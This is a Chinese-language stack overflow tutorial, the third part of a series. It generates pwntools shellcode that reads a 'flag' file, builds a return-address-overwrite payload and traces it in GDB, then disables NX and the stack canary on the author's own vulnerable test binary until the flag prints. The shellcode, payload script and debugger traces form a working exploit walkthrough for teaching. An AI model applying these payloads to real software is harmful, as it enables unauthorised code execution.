二进制安全之栈溢出(三)
上一篇文章中控制了函数的返回地址,将地址修改为已有的指令地址,但是为了实现任意代码执行,是需要将返回地址修改为我们可以控制的 shellcode 的地址的。
shellcode
在 http://docs.pwntools.com/en/stable/shellcraft/amd64.html#module-pwnlib.shellcraft.amd64.linux 有使用 pwntools 生成 shellcode 的文档。我选择了一个读取文件的 shellcode。
1>>> from pwn import *
2>>> code = shellcraft.amd64.linux.cat("flag")
3>>> asm_code = asm(code, arch="amd64", os="linux")
4>>> print code
5 /* push 'flag\x00' */
6 push 0x67616c66
7 /* call open('rsp', 0, 'O_RDONLY') */
8 push SYS_open /* 2 */
9 pop rax
10 mov rdi, rsp
11 xor esi, esi /* 0 */
12 cdq /* rdx=0 */
13 syscall
14 /* call sendfile(1, 'rax', 0, 2147483647) */
15 mov r10d, 0x7fffffff
16 mov rsi, rax
17 push SYS_sendfile /* 0x28 */
18 pop rax
19 push 1
20 pop rdi
21 cdq /* rdx=0 */
22 syscall
23
24>>> print repr(asm(code))
25'hflagj\x02XH\x89\xe71\xf6\x99\x0f\x05A\xba\xff\xff\xff\x7fH\x89\xc6j(Xj\x01_\x99\x0f\x05'
26>>> print len(asm_code)
2734
因为这段 shellcode 长度只有 34 个字节,完全可以塞入栈中,然后我们使用之前的办法,确定一个返回地址就可以了,这里就是 student
结构体的起始地址。
1from pwn import *
2
3code = shellcraft.amd64.linux.cat("flag")
4shellcode = asm(code, arch="amd64", os="linux")
5data = "1925\n" + shellcode + "A" * (0x7fffffffe348 - 0x7fffffffe2f0 - len(shellcode)) + p64(0x7fffffffe2f0)
6
7print data
NX 栈不可执行
在 GDB 中运行,会得到一个 SIGSEGV,并不会得到 flag。
1gdb-peda$ r < in.txt
2Starting program: /home/virusdefender/Desktop/pwn/new/vuln < in.txt
3What's Your Birth?
4What's Your Name?
5You Are Born In 1094795585
6You Are Naive.
7You Speed One Second Here.
8
9Program received signal SIGSEGV, Segmentation fault.
10[----------------------------------registers-----------------------------------]
11RAX: 0x0
12RBX: 0x0
13RCX: 0x7ffff7b04290 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
14RDX: 0x7ffff7dd3780 --> 0x0
15RSI: 0x602010 ("You Speed One Second Here.\n")
16RDI: 0x1
17RBP: 0x4141414141414141 ('AAAAAAAA')
18RSP: 0x7fffffffe350 --> 0x0
19RIP: 0x7fffffffe2f0 --> 0x58026a67616c6668
20R8 : 0x2e6572654820646e ('nd Here.')
21R9 : 0x1b
22R10: 0x0
23R11: 0x246
24R12: 0x4005c0 (<_start>: xor ebp,ebp)
25R13: 0x7fffffffe420 --> 0x1
26R14: 0x0
27R15: 0x0
28EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
29[-------------------------------------code-------------------------------------]
30 0x7fffffffe2ea: add bh,bh
31 0x7fffffffe2ec: add DWORD PTR [rax],eax
32 0x7fffffffe2ee: add BYTE PTR [rax],al
33=> 0x7fffffffe2f0: push 0x67616c66
34 0x7fffffffe2f5: push 0x2
35 0x7fffffffe2f7: pop rax
36 0x7fffffffe2f8: mov rdi,rsp
37 0x7fffffffe2fb: xor esi,esi
38[------------------------------------stack-------------------------------------]
390000| 0x7fffffffe350 --> 0x0
400008| 0x7fffffffe358 --> 0x7fffffffe428 --> 0x7fffffffe6b4 ("/home/virusdefender/Desktop/pwn/new/vuln")
410016| 0x7fffffffe360 --> 0x1f7ffcca0
420024| 0x7fffffffe368 --> 0x4006b6 (<main>: push rbp)
430032| 0x7fffffffe370 --> 0x0
440040| 0x7fffffffe378 --> 0xd7d0880889372de6
450048| 0x7fffffffe380 --> 0x4005c0 (<_start>: xor ebp,ebp)
460056| 0x7fffffffe388 --> 0x7fffffffe420 --> 0x1
47[------------------------------------------------------------------------------]
48Legend: code, data, rodata, value
49Stopped reason: SIGSEGV
500x00007fffffffe2f0 in ?? ()
而且可以看到我们的地址计算是没问题的,只是 shellcode 第一个指令就挂掉了。
原因是并不是所有的内存区域都可执行的,使用 vmmap
可以看到,0x00007fffffffe2f0
所在的区域([stack]
区域或者使用 vmmap 0x00007fffffffe2f0
)是 rw-p
,是没有 x
执行权限的。
1gdb-peda$ vmmap
2Start End Perm Name
30x00400000 0x00401000 r-xp /home/virusdefender/Desktop/pwn/new/vuln
40x00600000 0x00601000 r--p /home/virusdefender/Desktop/pwn/new/vuln
50x00601000 0x00602000 rw-p /home/virusdefender/Desktop/pwn/new/vuln
60x00602000 0x00623000 rw-p [heap]
70x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
80x00007ffff7bcd000 0x00007ffff7dcd000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
90x00007ffff7dcd000 0x00007ffff7dd1000 r--p /lib/x86_64-linux-gnu/libc-2.23.so
100x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so
110x00007ffff7dd3000 0x00007ffff7dd7000 rw-p mapped
120x00007ffff7dd7000 0x00007ffff7dfd000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so
130x00007ffff7fda000 0x00007ffff7fdd000 rw-p mapped
140x00007ffff7ff6000 0x00007ffff7ff8000 rw-p mapped
150x00007ffff7ff8000 0x00007ffff7ffa000 r--p [vvar]
160x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
170x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.23.so
180x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.23.so
190x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
200x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
210xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
这其实是 Linux 对漏洞利用的缓解措施中的一种,标记部分内存不可执行,使用 checksec
可以查看漏洞利用缓解措施的状态。
1gdb-peda$ checksec
2CANARY : disabled
3FORTIFY : disabled
4NX : ENABLED
5PIE : disabled
6RELRO : Partial
NX
就是标记内存不可执行,这里是 ENABLED
状态。
CANNARY
是编译器会插入一些标记和检查指令,如果栈溢出的时候把它们覆盖了,那检查的时候就会导致导致进程退出。我们使用了 -fno-stack-protector
禁用了这个特性。
其他的遇到的时候再说。
所以我们应该使用的编译参数是 gcc -g -O0 -fno-stack-protector -z execstack -o vuln main.c
,这样才可以正常运行 payload,最后的 SIGSEGV 是因为堆栈不平衡导致的。
这样就可以看到 student 的内存区域是可执行的了。
1gdb-peda$ vmmap 0x7fffffffe2f0
2Start End Perm Name
30x00007ffffffde000 0x00007ffffffff000 rwxp [stack]
1gdb-peda$ r < in.txt
2Starting program: /home/virusdefender/Desktop/pwn/new/vuln < in.txt
3What's Your Birth?
4What's Your Name?
5You Are Born In 1094795585
6You Are Naive.
7You Speed One Second Here.
8THIS_IS_FLAG
9
10Program received signal SIGSEGV, Segmentation fault.